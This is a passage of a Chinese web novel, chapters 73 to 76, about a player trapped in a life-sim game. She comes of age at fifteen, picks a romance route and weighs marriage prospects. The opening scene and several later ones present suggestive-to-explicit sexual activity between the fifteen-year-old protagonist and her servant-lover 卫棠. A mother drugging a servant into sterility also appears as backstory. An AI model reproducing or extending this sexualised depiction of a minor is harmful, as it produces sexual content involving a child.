月梧使人送水进屋,你坦荡荡坐进浴桶,搂着他脖子接吻。 两人都清洗一番,专心钻研房事。卫棠练舞,身体的线条极其漂亮,白皙如玉。他小心翼翼,视作珍宝地触碰你、侍奉你。 你按着他的长发,指甲勾连,在被褥间躺身。 卫棠擦了擦嘴:“好多哦……” “喜欢吗?小姐……” “亲亲我。” 你攀了床边的茶盏给他漱口,听他咕噜咕噜把嘴洗干净,才拥着他亲吻。 他模模糊糊地说:“小姐真坏,嫌弃我……” “可是我好喜欢你哦,好喜欢你……” “喜欢我吗,小姐?” 他抽出手指。 “我会一辈子陪在你身边的,好开心可以吻到你哦,我一定是上辈子做了很多好事,还好我长得漂亮,你喜欢看我的脸,睫毛,眼珠,还是这里?你喜欢我吗,小姐小姐小姐小姐小姐……喜不喜欢我?” “想叫你景蕊……” “就今晚,明天我就又是哑巴了…………” “喜欢听我的声音吗……” “我多叫叫,喜欢吗?” “好喜欢你。” 第二天。 你醒了,卫棠还伏在你胸口睡着。 怪不得感觉睡得很累,你挪开他的头,他迷蒙睁眼,立刻打起精神。 “真好,天亮了。” “嗯?” 卫棠很有活力地从床上爬起身,下地倒水漱口,回来散发着清香跨在你身上。 “再多宠我一点吧。” 你没回他,按着他肩膀借力下床,将自己的卫生打理好。 回去有些垂头丧气的卫棠身边,啄吻他的嘴唇,将人压倒。 “唔,小姐……” “装什么,不是想要?” “想。你用死我,好不好?” 数值: [基础属性] 美貌31/50 体能30/30 健康100/100 心性368/1000 声望459/1000 [才华技能]已满,折叠。 【可分配点数:0】 第73章 “景蕊, 昨夜过去,身子可还爽利?” 光线透过窗纸映入室内,香炉弯袅绕着烟丝。你与母亲坐在桌前下棋, 黑白相对。 卫棠像新婚第二日的新妇, 殷勤恭敬地端茶。听她问昨夜的情况, 下意识看你,撞进你的目光, 眼睛眨了一下,面红耳赤低头。 落子。 “还不错。” 吃到肉身心舒畅,昨晚和今早大干特干了一场。 卫棠很喜欢表现自己, 做那种魅惑的举动, 和你睡过的其他男人不太一样。又很缠人,什么话都好意思说。 总之很卖力, 很爽。 母亲喝了口茶,你既然这么说, 她便也对卫棠满意。 她这些日子常梦到自己当年的事,离你的及笄礼越近,她心里就越慌。 全身心把自己和未来托付给陌生男人像一场豪赌,赌偏了就是她这个下场。她觉得自己过得还算可以, 不论在家里还是外面, 别人对她都是尊敬的。不愁吃穿, 不必操心夫君的前程,还有一个可爱的女儿。 但景蕊不同。既然有规避错误的可能, 就不要让她也过同样的日子。必须所有人都珍爱她才行, 如果做不到,至少不让她灰心,身边有死心塌地陪着她的人。 所以她当初留卫棠, 验了他的身子,看了他的牙口,喂他吃下绝子药。 这是她留给景蕊的礼物,无论以后她嫁给谁,对方爱不爱她,她都有能随时消遣、爱护她的人在身边,至少不会像她娘一样寂寞。 将茶盏放到案上,母亲握住你的手拍了拍,远山般清寒的眉眼此刻若春水般柔软。 “我的景蕊一晃也到出嫁的年纪。” 月梧上前,将托盘里的一束像生花呈递给你。是用罗帛和绒、珠等做的芙蓉花,富贵华丽,攥在手里转一层金贵的润光。 “宫中一直没下赐婚的旨意,我问过你林师父,皇后娘娘的意思应该是想就这么算了。” “你父亲这些年……愈发得圣心,待太子又忠诚。若沈家再出一位太子妃,得势过大,不好掌控。” “婚约废了倒也不错,太子虽貌美,以后却是要登基的。到那时,他有了其他女人,你就要遭罪,不如另选。” “除了他家,不管多高的门第,都有沈家给你撑腰,小卫陪你身边,你不会太难过。只说想嫁谁就好,剩下的母亲会帮你安排。” 她转向卫棠。 “小卫,你也算我看大的孩子。当日你说愿意一生一世陪在景蕊身边,我信你不是假话,今日我叫你立誓。” 卫棠快步走到她面前跪下,坚定道:“我愿立誓,立毒誓。” 母亲道:“好,你发誓,说你绝不辜负小姐,以后小姐另有所爱,你也不嫉妒,不埋怨,永远站在小姐这边。” “我卫棠在此立誓,此生绝不辜负小姐,无论她爱谁。有违此誓,天诛地灭,此生不得善终,来世做被切碎的野鬼。” 字字竭尽气力,光听声音也能听出他的决心。 就这么爱吗。 你似乎只在拜师那段时间对他上心,歌舞数值刷满后,便没怎么理他,真的把他当成丫鬟使唤。 要是没遇见你,他如今会做什么呢? “姐姐。” 景妍趴在窗口叫你一声,因她的出现,整面墙都明亮几分。 随着年龄增长,她的容貌越来越秀美,眉间的疤痕彻底化成红粉的桃花瓣形状。 “姐姐,我们去坐秋千吧。” “嗯,好。” 母亲淡道:“撑伞去,别被晒黑了。” “嗯。” “这支芙蓉你收着,让月梧带你房中去。若是决定好夫君的人选,就把东西送给人家,记得来告诉娘一声。” “知道。” 她叹了口气:“你什么都知道,拿你没办法。小卫,去陪着小姐。” 卫棠换回静音模式,颔首。 出门和景妍走到一起,她状似不经意,实则抠着你的掌心:“母亲在给姐姐挑夫君吗?” “算是。” 她呼吸停了停,忧虑道:“姐姐嫁人以后,是不是就不能见面了?我能和姐姐嫁给一个人吗?” “啊?” 景妍脸色不好看:“说笑的。” “……” “姐姐,姐姐……不嫁人好不好?” “你以后也会嫁人的。还没喜欢的人吗?我觉得爹想把云衢许给你。” 景妍看了你一眼:“姐姐不知云衢有意中人吗?” 你大概知。偶尔景妍百分百讨厌你,厌恶值达标,开启爱慕界面,你看过一眼。 云衢的爱慕值在70,算是很喜欢你。 除了他和卫棠,爱慕界面还有太子赵晞的名字,30数值。你觉得他有病,如果更新列表拉黑功能,你一定第一个用在他身上。 心里清楚,被人问,自然不能如实说。 “景妍知道是谁吗?” 她明显松了口气:“知道呀,是琼州随父纳贡来的符小姐,我们去求父亲成全他,让他去琼州跟符小姐成婚吧!” 琼州符氏在几年前进汴京纳贡,来沈府拜谒过父亲。当时景妍觉得这姓氏少见,林彧科普了琼州到汴京的距离,她得以知晓琼州是离家最远的地方,可能去一次就一生都不会再见面。 她说这话,是想把云衢发配到天涯海角,这样就没人跟她争姐姐了。 你因她的言外之意忍笑,景妍软乎乎地抱你手臂,“姐姐笑人。你知道我怎么想,却还那么宠云衢,是你的错。” 你无法回应,撩开竹帘,跟她从下面经过。抬眼时,园中站着许多陌生外男。 秋千搭在园内,隔墙便是父亲办公的外院。有时父亲单独与某人谈事,其他人就来这园中坐坐。 教诗词的苏师父如今是父亲的门客。瞧见你们,连忙上前:“抱歉,小姐们先避一避,今年秋闱的考生正拜见着老爷,人多眼杂,当心冲撞二位。” 你问:“为什么拜见我爹?” 要走后门吗? 苏师父道:“沈大人名满天下,既然来了汴京,肯定要得他指点两句,才算不虚此行。” “哦。” 你牵着景妍原路返回,路上她没怎么说话,你察觉到不对。 景妍皱眉说:“刚刚有一个人看我,看得我好不舒服。” “什么样的人,相貌堂堂,平平,还是丑陋?” 景妍道:“算是不错……” 你到人物档案里搜。 先点了父亲的主页,找到考生拜见事件,进入后查看名单,按照声望排序,准确找到那个盯景妍的人。 镇朔侯府世子,萧烈,对景妍一见钟情。 高门、好听的姓氏、景妍特别的反应,你怀疑他是这个背景的男主。 身边传来景妍的笑声。 上一秒还能用的虚拟面板,转瞬就被封锁了功能。 【厌恶值不足50,你没有开启此功能的权限】 “姐姐也怕我嫁人吗?” “我才不要嫁人。景妍给你当丫鬟好不好?想永远永远和姐姐在一起。” 你沉默片刻,酝酿:“我不缺丫鬟,你可以问问云衢……” 景妍冷脸,虚拟面板恢复使用。 “坏姐姐,扫兴。” 碰巧云衢迎面走来。景妍松开拉你的手,叉腰站道中间堵他的路。 “姐姐宠你,你很开心是吗?” “她让你给她提鞋吗?” 云衢:“……” 他后退半步:“景妍姐说笑,若是身体不适,还是早些回房休息。” “哼。” 景妍阔步离开,转了弯,两手捂面呜呜哭,步子也不似之前从容。 “景蕊姐又欺负妹妹了。” 云衢望着你道。 你沉了口气。没办法,不这样游戏体验太差。这么些年都过来了,景妍伤心一阵就能恢复正常,她应该也习惯了。 你希望她早已锻炼出钢铁般的心,或者真心实意在背地里恨你。 “不追上去吗?” 他单手握书,站在合乎礼节的距离之外,像盛夏的井水般透彻幽凉。 “不了。”你问,“弟弟去做什么?” “义父与考生对策,让我与枕溪兄旁听。” “表哥呢?” “出门去玩了,我需替他以家事之名遮掩,景蕊姐如见到枕溪兄记得与他对口供。” “嗯,好。” “我先行一步。” 与云衢辞别,回到卧房,黑猫睁着琥珀色的圆眼睛盯你,喵了声。 你蹲着玩了会儿猫。 系统让你选人的选项弹窗冒出头来。 【检测玩家已顺利成年,根据养成经历,一共生成五条婚姻分支,请选择恋爱线路】 【注意,确定选择人选后,积分评定开始,结算积分不足则通关失败】 【请谨慎做出选择】 【建议存档】 【卫棠】【林彧】【卢云衢】【杜枕溪】【赵晞】 还有额外的【读档回去再看看】。 你绝不读档。 从八岁到十五岁,算七年的话,每一天的课都是你亲自学下来的。就算有很大的收获,就算出了游戏还能获益,你也一节课都不想再上了。 就在这五个里选,哪个积分高就走哪个通关。 如果真的那么倒霉,这五个人都不满足通关条件,你就不打算再肝通关进度了。 游戏自由度这么高,用存档读档功能瞎玩或许更有意思。 存档。 按照先后顺序来。 点击【卫棠】。 无事发生,只是积分评定的范围定在你和他之间,还是要你亲自把选择告诉母亲。 你把像生花送给卫棠,他捧着花惊讶一瞬,随后双眼迅速泛红,泪汪汪看你。 你说:“该送海棠花的。” 他紧紧抱住你,唇盖在你耳朵上。 “可以吗?可以选我吗?要是夫人把我赶走怎么办?我是不是勾引你勾引得太过分了……” “没事,我会保护你,相信我。” “我相信你呀,最相信你了。” 你告诉了母亲你的选择。 第74章 “我想嫁给小卫, 和他在一起一辈子。” 你伏在母亲膝上,任她摸你的头。 “是挑不出其他喜欢的人吗?” “嗯,我们一起长大, 除了他, 我谁都喜欢不上。” 母亲道:“可你嫁人以后, 也能和他在一起,没人把你们分开。夫家容不得他, 就让他们来找我……” 她停顿思考:“若是这样,似乎也不是那么必要选个人嫁。” 她捏你的脸,没下定论。 “还是再看看, 别着急, 往后日子长着,你也许会爱上别人, 凡事给自己留余地。” “叫小卫过来,我有话跟他说。” 你出了门, 换卫棠进去。他神情拘谨,犯错般心虚,连女步都忘了走。 虽然开了他的恋爱路线,但还不清楚积分评定是从哪些方面。 恋爱成就? 婚姻地位? 暂且谈着。 你坐在屋外的石阶上转了转脚腕, 抻平袖子最外层的薄纱在眼前, 当滤镜看庭院里的景色。 卫棠从屋里出来, 脸上红扑扑的,一派喜色。不顾其他人的目光, 他两手勾住你的脖子, 俯身送上一吻。 【夫人没有责备我,她说你对我有心,要我好好珍惜, 以后更用心侍奉你。】 手语比划得很慢,大致是这个意思。他很高兴听到夫人说这些支持他的话。 但没有想过,夫人只是容许他获得小姐宠爱,原本的约定还要继续维持。 本质上没人站他这边。 陆续结束繁重的课业,你与师父们时常在家里喝茶聊天。 黑猫在院子里抓飞虫,整只猫站直了身子,两只前爪在空中扑腾。你盯入了神,唇角勾着笑意。 顾清看在眼里,同临近的林彧道:“小姐长大了。” 她第一次见你时,你才八九岁大,如今已是亭亭玉立的少女,时间过得太快。 林彧淡着目光,不发一语。 你已成年,算是她口中的长大。本该十一二岁定亲事,因宫中含糊不清的态度,一直搁置到现在,最后还被反悔。 这其中有他的责任。 近年他与皇帝政见不合,多次被贬后,又因皇后的面子擢升,到现在只剩太傅这一个朝政上的虚职。 之前他替皇帝办事,周旋宫中与沈府。目下失了圣眷,皇帝便忌讳他与三司使勾结,不认他保下的媒。 很可惜。林彧真心觉得你和太子合适。年岁相近,你的性子又镇得住想一出是一出的殿下,能在他做冲动事时拦一拦他。 然而对方父母不愿,他没有立场劝下去,不然是何居心。 “景蕊,过来。” 你疑惑了下,从座位起身到他面前。 “亲事有眉目了吗?我还认识几个跟你差不多大的公子,改天带来你见见?” 他明明是游戏给的分线之一,却在给你保媒的路上越走越远。 “不用,我不想嫁人。” 林彧心中盘算着怎么商量、商量哪家的亲事,听到你这句话,思路截断,眼中常存的笑意不见。 “为什么,是生我的气?” 你听不明白。“生你什么气?” 生他替皇帝定下婚约,却迟迟不兑现,甚至抹消在传话人口中的气。他耽误了你议亲的时机。 林彧劝道:“没有哪家小姐到了年纪不成婚……” 顾清咳了声:“我不也没成?” 顾师父是宁侯顾家的千金,当年与家中起争端,决然断亲,抱才华隐居山林,如今三十有四,还没成家。 这些事在林彧少年时就被人当传奇称道,他清楚,不知怎么说好。以前觉得别人怎么样无所谓,没管过这种闲事,但到你这边,他就总觉得你该嫁给什么人。 “为何不嫁?” 你想了想:“因为我有个喜欢但不能嫁的人,嫁不了他,我成亲也没有意义。” 林彧轻笑一声。小孩家家,哪里来的情深,他不信这些。 而且。 “你喜欢的是谁?身边的这些小公子,应该没有你不能嫁的。” 顾清白他一眼:“林大人未免惹人厌烦。喜欢谁是心事,都不能嫁了,凭什么告诉你?” 她拍你的手:“不理他,景蕊小姐,今天就到这,去玩吧。” 你走后,林彧臭着脸色,也起身告辞。 他是从家里出来躲难的,公然与皇帝叫板,上书劝改旧制、削减冗杂的官吏后,整个朝堂都容不下他。 每日回家,他都要受父亲唠叨,让他辞官服软,说不定过几年皇帝想起他,想起他说的那些混账话,能体恤他是为国为民考虑,重新赐他一官半职糊口,万不可再僵持下去。 要不是皇后出自林家,族人的下场就要忧虑了。 林彧明白,他也不认为自己有匡扶社稷之才,不想搞什么惊天动地的改革。 他只是为人臣,站在这个位置,把他看到的一些现状,一些解决问题的构想告诉皇帝而已。 连这种话都听不了,他只会觉得没救。 回程路上,他莫名想起景蕊那双沉静的眼睛。 所以。 她喜欢上谁了? 卢云衢?义弟,应该没什么,可嫁。他听过沈修宁夸义子的话,说他沉稳正直,淡泊宁静,往后可堪大任,想把义子收作女婿。 虽然是给二女儿定,但算不上阻碍,景蕊开口,他也会欣喜应允。他奔着女婿去,哪个女儿出嫁都无所谓。 所以不是云衢。 杜枕溪那边,杜家一贯对小辈宽待,不插手婚事。景蕊嫁过去亲上加亲,两边应该也不会反对。 所以是谁? 他心乱了一瞬,想到一个可怕念头。 ……景蕊不会喜欢他吧? 她偏爱长相好的事物,看上他不是没可能,也的确不能和他一起。 不会,不会不会。 他胡思乱想什么…… 差这么多岁数呢,太厚脸皮了。 * 及笄礼后,父母两头都给你安排出门的行程。几场宴会走下来,每次都有相貌不错的士族公子陪你身侧,次数多后,你琢磨出他们的用意。 这是你的相亲局。 质量一般。外表不如卫棠、云衢之流,内涵亦是。有一位房里还收了妾室,你无语地把雷点传达给父母,母亲拍案而怒,父亲则提他的身世。 “以后要承袭王位的,有后半辈子荣光在,该忍便忍。” “忍什么?你看中了怎么不自己嫁过去?” “敏娘,这也要吵吗?你是大小姐,没过苦日子过,不懂权财的金贵。若我是平民之身,拿什么给你过好日子?” “什么日子是好日子?我女儿养在家里,金银珠宝够她衣食无忧一生,凭什么嫁别人家去看妾室脸色?你要是这般想法,以后家里几个孩子的婚事你都别经手了!我怕你把景妍云衢也卖了!” “你说的是什么话?我每日勤恳为官,哪里到卖孩子的境地?” 吵到最后,父亲妥协。 “不嫁便不嫁,再看看,年龄合适的,差个一两岁,往上往下都能去见见。” 母亲道:“你别管了,我来挑。” 最后也没挑出什么。各有各的缺点,到头来还是你自己接触的这几个质量高一些。除了太子。 你每次见他们,卫棠都在。他本分地垂首伺候在你身边,只在近身时投来饱含爱意的目光,悄悄碰你。 他不把那些人当回事。 或者说,有你之前对他的表白,那些话就足以支撑他相信你。 你说爱了以后,就也属于他,你们是互相拥有彼此的关系。 他相信爱,相信承诺。也清楚自己之于其他男人的优势。 比如他的腰很软,或者说很有韧性,该用力的时候有力,又能柔软地配合你做一些出格的姿势。 别的男人不行吧? 就算到了你的床上,他们也会被你嫌弃无趣无能留着不如割掉去宫里做皇权忠心的狗。 而且他长得美。他承认,别人也有相貌上的可取之处,但他们女装有他好看吗? 在他们数落他是小白脸的时候就是狗屎一样的败家了。 完美无缺的女装扮相,却能跟小姐做那种事,这才是他的竞争所在,别人给不了小姐,会再多花招也给不了。 每次看到那些衣冠楚楚的公子出现在小姐身边,他就心情特别好。 劣质男。 好差劲啊。 不得不顾及情面跟他们搭话,小姐应该很难受吧? 好可怜,但是小姐应该因此更爱他了吧? 他说话好听又好玩,拉到怀里就给亲给抱给用哦。 那些庸俗的人,都送走吧。 回到房内,月梧收拾一番退出去。卫棠骨头软软从背后抱你。 “小姐……我来给小姐洗洗眼睛鼻子和嘴巴吧。” “嗯?” 他挪到你身前,吻你的眼皮和嘴唇。 你笑着看他:“鼻子呢,怎么洗?” 卫棠翻开领口:“我抹了香膏的,橙花味……” 再跟他玩下去就要成边台了。 但还是闻了闻,[樱桃]的香味格外浓郁。 他轻笑:“小姐喜欢的话,我去洗干净给你尝尝如何?” “我会好好表现……” 你抬头,对上他愈发暗郁的眸子:“总觉得喜欢的另有其人。” 卫棠笑着抱你进怀里,脸颊蹭蹭你的发髻。 “是我是我,我喜欢呀,喜欢喜欢。你怎么我都喜欢。白天无聊的时候我就想这些事了,我们今天在椅子上好不好,不会累的,我扶着……” 除此之外,他还学会装哭。 “小姐好厉害呜呜呜……” 你听到时就笑了出来,笑声撕开了桃色的口子,涌入冷空气般让人周身紧绷。 卫棠抵你额头:“夸你呢,笑什么……” “小姐,答应过的,今天搞死我呀……” 白天在汴京城里闲逛相亲,晚上过这种生活。 把卫棠当做恋人后,景妍发现你与他距离的不同寻常。 她旁敲侧击问你们是不是共同经历了什么,你故作平常拿以往的情分搪塞,但没有缓解景妍的危机感。 于是云衢的日子好过起来。 第75章 天阴沉沉的下雪。 沈景妍窝在榻里做了一场梦。 梦中娘还活着, 与父亲情意相投,她们回到沈家过了幸福快乐的几年。因为受宠,府里有好东西仆人们都紧着她们院里来, 正房那边则终日冷清, 像冰窖一般。有一道无形的屏障隔在两边, 彼此避讳,互不相见。 一日暴雨, 娘急匆匆出门,说要探望邻街居住的友人。景妍劝她改日,没有劝住。那友人半月前卧病在床, 突然递话说不行, 要她去见最后一面。 景妍没想过,那也是她和娘的最后一面。雨势过大, 马车打滑翻进河里,养活了一方百姓的汴河把娘的命给带走。 梦中的她认为事情蹊跷, 悲痛之余暗中调查传信的丫鬟。娘的友人的确病重,但只是想叫娘过去说说话,并没丫鬟传的那般十万火急。而且消息是一日前递来的,却在暴雨当天告诉了娘。 是故意的。 “沈景妍”擦干了眼泪, 从娘的棺材前站起身, 迈着沉重的步子出了灵堂。 她查出那丫鬟是正房院子里嬷嬷的女儿, 也找到了在马车上做手脚的小厮。娘出门时车轮开裂,缝隙很大, 马车赶得急, 又有雨水泡着,经过桥上时散架了。 娘就这么被人害死。 她哭着把证据呈交给父亲,却得来轻飘飘的一句:“都是手下人自作主张, 与你母亲无关。” “爹!” 害人的恶魔,竟有脸称作她的“母亲”? “此事不要再追究,你娘……我会厚葬。” 有什么用? 什么用? 沈景妍在这一刻看清了父亲。他只顾自己,只想自己。 他爱娘,却从未想过保护她,从未想过他的宠爱要给娘带来多大的灾难,连命都丢了。 她会用自己的办法报仇。 十五岁之前的时光,她都做一个老实守拙的庶女。处处受嫡姐欺压,穿旧的、过时的丑衣服,夏天吃馊饭,冬天不给她炭用。她手上长了冻疮,只有贴身丫鬟心疼她,攥她的手在唇边呵气,后来这丫鬟被药死了,她的饭菜里有毒。 这些父亲是完全看不到的。那些年的欢声笑语与疼爱,都如假象一般。 没了娘,景妍不再是他看重的女儿,家中处处以高贵的景蕊为先。 她恨。越恨,越冷静。 额头上的桃花疤痕被她修饰成漂亮的一瓣,她用多年积攒的银钱买通江湖骗子,让他大肆宣扬京中有花仙隐世,庇佑一方百姓。 传闻中,花仙拥有和凡人一般的面孔,可辨认的是额头桃花印记。 百姓听过热闹,纷纷探寻,不知谁先发现沈府的二小姐额头上有桃花,到府门口拜花仙。 奇况引起宫中贵人的兴趣,沈景妍搭上了皇后这条线,备受赏识,无意让皇后看到她境况的窘迫,将她带入宫中养在身边,时间一久,破例获得了和太子的亲事。 但她知道,家里那对母女不可能让她称心如意。除夕宴上,她们设计她与丑陋内侍睡到一张床上,试图毁她名节,让家中嫡姐代替她嫁太子。 沈景妍将计就计,没有进入圈套,反而借机向所有人揭露嫡母与嫡姐的真面目。父亲脸色难看,埋怨她不识大体,就算有怨,回家都是可以说清楚的…… 说什么清楚? 他只会像之前一样袒护他的妻子,袒护他的女儿! 沈景妍翻旧案,求皇后替她查明娘的死因。 最后,夫人以谋杀罪经官行斩。 自此嫡姐备受父亲怜惜,宫中对杜家也有羞愧,成全她嫁入东宫的愿望,让嫡姐做了太子良娣。但她因心肠狠毒出了名,被太子厌弃冷落,下场凄惨。 而景妍因祸与镇朔侯府的世子结缘,做了世子夫人。皇后疼爱她,与太子的婚约被毁,便补偿她县主的封号和食邑。 后来她的封地改名为花仙郡。 梦醒。 一幕幕场景清晰渗人,与其说是梦,不如说是完整的一世。 景妍迷迷糊糊坐身,你还在她旁边熟睡未醒。 她昨夜又来分开姐姐与卫棠了,结果做了乱七八糟的梦。 姐姐在梦里可真坏。 不过后来变得很好欺负。 她在梦里矜持什么呢,别人能绑姐姐,她为什么不试试? 姐姐总是装冷酷,装成熟,其实心里很为景妍着迷,要是在现实里也能被姐姐哭着骂就好了,感觉会很可爱。 你睡醒起床时,景妍已经出门上课了。与数值刷满毕业的你不同,她还在进修课业。 卫棠幽怨地伺候你洗漱,换衣服时,他捏你手腕到唇边啄吻。 “好想你哦,再不碰小姐我快死了。” “你整日要死要活。” 他笑了声,音色像盛夏清冽溪流,把你搂在怀里揉揉抱抱,“对,我就是这样嘛。能不能管管你妹妹,她一直使唤我,还防备我接近你,我又没惹她。” “你白天来。” “好色,白天做吗?” 你失笑:“就不能想想别的事?” “我还想永远和你在一起。” 你不为所动。 瞧着你的神色,卫棠脸上的笑一点点散了去,有些惊慌地抱住你,明明很大一只,却想往你怀里钻。 “厌倦我了吗?是我得意忘形,你不喜欢我再不提!别用这种眼神看我,我不要!” 你摸摸他的头:“怎么突然这样说?” “…………没什么。” 是不够宠他? “下次景妍再刁难你,你直接找我。” 婚事怎么也定不下来,已经超过政事,成为父亲近期的心头大患。 他把你叫去书房谈心,聊婚姻还是父母之命来的稳妥,他和你母亲就是这样走在一起的。 他当年也不是什么好的托付对象,只有些无用的文采,考上官职又如何,在满朝的官员里是最不起眼的,结果也混出头来,坐到如今的位置,除了皇亲国戚、宰相尚书,有几人见他不弯腰? 你将筒子里的折扇抽出,打开又合上,重复这个动作,心不在焉听他说有毒的道理。 父亲脸色沉下:“景蕊,我说话,你半句都不听吗?是你娘跟你叮嘱了什么,你们有其他安排?” “没。” 你道:“我只是在想,爹你说的不对。要是在婚事上顺从父母真有你说的那么好,你与我娘怎会是今天这般。这些年,你统共见过她几次?” “……” “爹,我不嫁人不行吗?” “不行。”他答得很快。 你道:“你是怕别人在背后指指点点,蛐蛐你女儿过了年纪还不成婚,是不是?” “胡说,我是为你着想。” “为我着想,爹该听我的。” 父亲沉默片刻:“你懂什么。” 你懂的可多着。 这么些年勤勤恳恳跟着那些师父学艺,在他眼里却仍是什么都不懂。 父亲又给你列一些相亲人选,是年龄小一茬的公子们。一叠帖子递到你手里,他让你务必打扮妥帖去见人。 你没吭声,走时迎面遇见云衢,他个子已经高过你许多,面对面站着,平视只能看到他锁骨的位置。 你仰头跟他打了声招呼,错身,云衢攥住你的衣袖:“景蕊姐,可有空闲?” “嗯。”他主动找你十分罕见,你不由得好奇他的目的。 “等我一下。” 他把手头的课业送进父亲书房,匆匆告辞,出来见你。 “走吧。” 你们一起去坐园里的秋千。 板子上的积雪被他用帕子清干净,你坐下时,他把手炉递你手里,解开你披风的扣子,领子拉紧重新系上,如此一丝寒风也进不去。 “姐姐最近,是不是和卫姑娘走得太近了?” “……” 并肩与你坐在一处,他侧脸被清白的雪映,玉雕琢般无暇。 “景妍姐放过了我,生活一下顺遂起来,像从未有过风雨。” 你笑。 他没有错过你的笑,黑眸盯你,瞳孔的黑比一般人更暗一些,像是笔尖压在纸上反复覆盖一处留下的痕迹。 “姐姐喜欢卫姑娘吗?” 他顿了下,“或者说卫公子。” 不等你问,他主动解释:“几年前见他站着如厕猜到的,他是义母给姐姐准备的通房吧。” 你回答他的问题:“喜欢,我喜欢他。” 云衢望着前方,神情没分毫变化,但就是很长时间没出声。 许久,他道:“姐姐想好以后嫁人的事了吗?卫棠不足以姐姐托付终身,让他做小,总要再找个依仗。” 你感到奇怪:“我为什么一定要依仗别人?” 云衢说这个的本意是想自荐,他来做姐姐的夫君。 竞争优势是他可以容许卫棠的存在,容许你对他的心意,也会从此刻起加倍刻苦读书,来年参加科举,谋取官职,配得上你。 但是你这样说了。 他也恍然。 姐姐的确不必依仗别人,她甚至可以做别人的依仗,毕竟状态好时能把牛打飞。 所以,对于姐姐,心意提了也没意义,坦白以后更是要离开她。 他很小的时候就跟在你身边,你对他好,像大人一样教他道理,就算他不说实话,你也猜着送他他想要的东西。 要让他怎么学会离开你? 不如以义弟的身份陪在你身边,虽不能靠近,但想见的时候就能见到。 “姐姐之后还要去那些宴会吗?” “有了卫姑娘,再见那些没意义的人会很累吧?” “不会,挺有意思。” 你把手炉给他抱一会儿,发现这个青铜炉还是小时候你给他买的那个,你与景妍同时买的手炉都不知放哪去了。 “那就好。” 和云衢说话总能静下来。室外坐久了寒冷,你们往廊道上走。 【人物档案】出现小红点。 你点开,景妍的档案被顶了上来,【经历】页面显示她做了一场梦,字的右上角有[new]标识。 你通篇阅读,是个篇幅不长的励志宅斗文。故事里你与母亲穷凶极恶,下场凄惨。 你也提炼出一个关键点。 虽然不存在任务对象,但太子似乎是你的官配。 第76章 景妍为什么会被安排做这种梦? 是游戏官方给的福利? 检测到你使用系统不稳定, 于是送来厌恶值? 应该不是。 虚拟面板并没什么变化。 故事一开始就引线穿错了剧情,失去信服力,后续再怎样发展也无足轻重, 景妍不会放在心上, 她只会认为是梦, 一场扭曲的噩梦。 你的改变让母亲远离那条绝路,不再为一个不值得爱的男人毁掉自己的一生。 诗夫人自尽而死, 与你和母亲没有关系。 景妍因为这些年受到的善遇走出了生母早亡的阴影。 这是你的选择所带来的影响。 你有些好奇其他玩家的操作,会让故事里的景妍走上哪条路。 不过那些走上另一条路的景妍,应该就不能算是你的妹妹了。 * “恋爱积分”的评定标准暂时不清楚。 以游戏明给的数值推导, 官方看重的两个方向分别是“心性”和“声望”。 套用到恋爱剧情里也就是恋爱的决心、纯度、甜度, 和婚姻关系带来的社会地位的变化。 社会地位这边,卫棠作为恋爱对象不合格。跟他定下婚姻关系甚至可能反过来影响你的声望。 但这点可以用维持这段爱情的决心来弥补。 他出身不好, 是妓女之子,从小到大身处恶意舆论中, 看不见光亮,无法对自己的生死做主。 你的身份牌则是重臣之女,出门逛街遇见同等出身的官家小姐,对方要笑着来恭维你的那种程度的高门大户。 这种情况下, 你还愿意选择他, 不正是爱情的可贵之处吗? 盲目的, 抛弃一切的,为他与全世界为敌。 你们经受了世俗的考验, 要是还能坚定相爱, 也算可贵。 不过走这种路线,结局一定要过得好,否则就会变成恋爱反面案例, 比如大小姐和黄毛。 甜度方面也要照顾。 思来想去,你决定带卫棠出门约会。 去王府赏梅的路上,你吩咐车夫改道,驾车到相国寺那边的商业街。 对于卫棠疑惑的视线,你解释:“不想见别的人,我们两个一起去逛街,买些你喜欢的东西,如何?” 听到你的话,他又露出你告白那天的表情。 红着眼眶,想笑,却不敢笑,仿佛他只要表现一丝贪婪,至今所有的美好就都要化作泡影。 “好,我想和小姐逛逛。” 下了马车,你接受他的伺候,细致围毛领斗篷,锁住马车里的温度。 他作为“丫鬟”,即使献身于你,在府中和寻常下人没有区别。所以只穿着一层夹袄,风吹几下,露在外面的一截皮肤就被冻红了。 所以这场约会,你送给他的第一件礼物就是成衣店的大氅。火狐狸的皮毛,店家说他这一身至少挂了七只狐狸。 红色光滑的皮毛衬得卫棠明艳无比。因为他的美丽,店家给你抹了零。 出了店门,他脸上的笑一直没掉下来过。然而你却不知还能送他什么了。 你被他侍奉多年,对他的死心塌熟视无睹,从未想过了解他的过去,探寻他的爱好。 这样表现不太好。 于是你用了存档。看见什么好看就买给他,端详他的脸色决定要不要换另一件。 事实是你送给他的每件东西,他都如获至宝地收下,眼睛亮亮看你。 不过在收到冒热气的肉包时,他的快乐比收到首饰时更明显。 你把沿途的小吃都打包一份送他,他苦笑着拉你,用手帕掩饰嘴型,在闹市中凑到你的耳边。 “再吃,我肚子上就没有小姐喜欢的肌肉了。” 你笑道:“没关系,你可以再练。” 他哼了声:“以为多么容易吗?为了给你看最好的,我背地里费很大功夫的。” 你跟他一起站在街边看胡姬跳舞,地上积雪未化,算是寒冷的天气,她们却穿着轻便的舞衣,手臂和腹部都露在外面。 卫棠看得认真,并不是被女色吸引,而是纯粹的同行审判。他骄傲地告诉你,哪些动作换他来做会怎样。 他正借着耳语的姿势倚靠着你,另一边忽然出现一股拉力,将你与卫棠分开。 时隔多月再见到太子的那张丑脸,你第一反应依然是嫌弃。 你真的很想知道,他这个脸的建模给游戏公司塞了多少钱。 而在赵晞看来,你简直是不可理喻的程度。 为什么婚事作罢了?为什么你毫不动摇,去见那么多个歪瓜裂枣?不是只喜欢好看的人吗,他们好看到你愿意拿出耐心应对了? 为什么你这么肤浅? 只要皮相好看就够了吗?内在如何都可以不管吗? “就因为我丑,你不嫁我?” 他憋了半晌,冒出这么一句。 在说婚约吗? 不是你嫁不嫁他的问题吧。他是被谁蒙在鼓里了?明明是他父母那边不想要这门亲事。 但就这个问题而言,你想回答他是的。 现实择偶可能会更多考虑人品、财力,在游戏里,就算一个角色坏到蛇蝎心肠,只要他有姿色,你就下得去手攻略。 你只盯着他,默认他的话而不回复。 赵晞冷笑一声。 好啊,丑死你算了! 不就是丑吗?他还可以更丑! 你这辈子都别想看到他真实的长相了! 赵晞气得头转向一边,片刻,回过头来。 “我走了。” 你根本不搭理他。 之前他有他的伪装,你有你的,身份彼此心知肚明,别人不知道,没事被他雷一下就雷了。 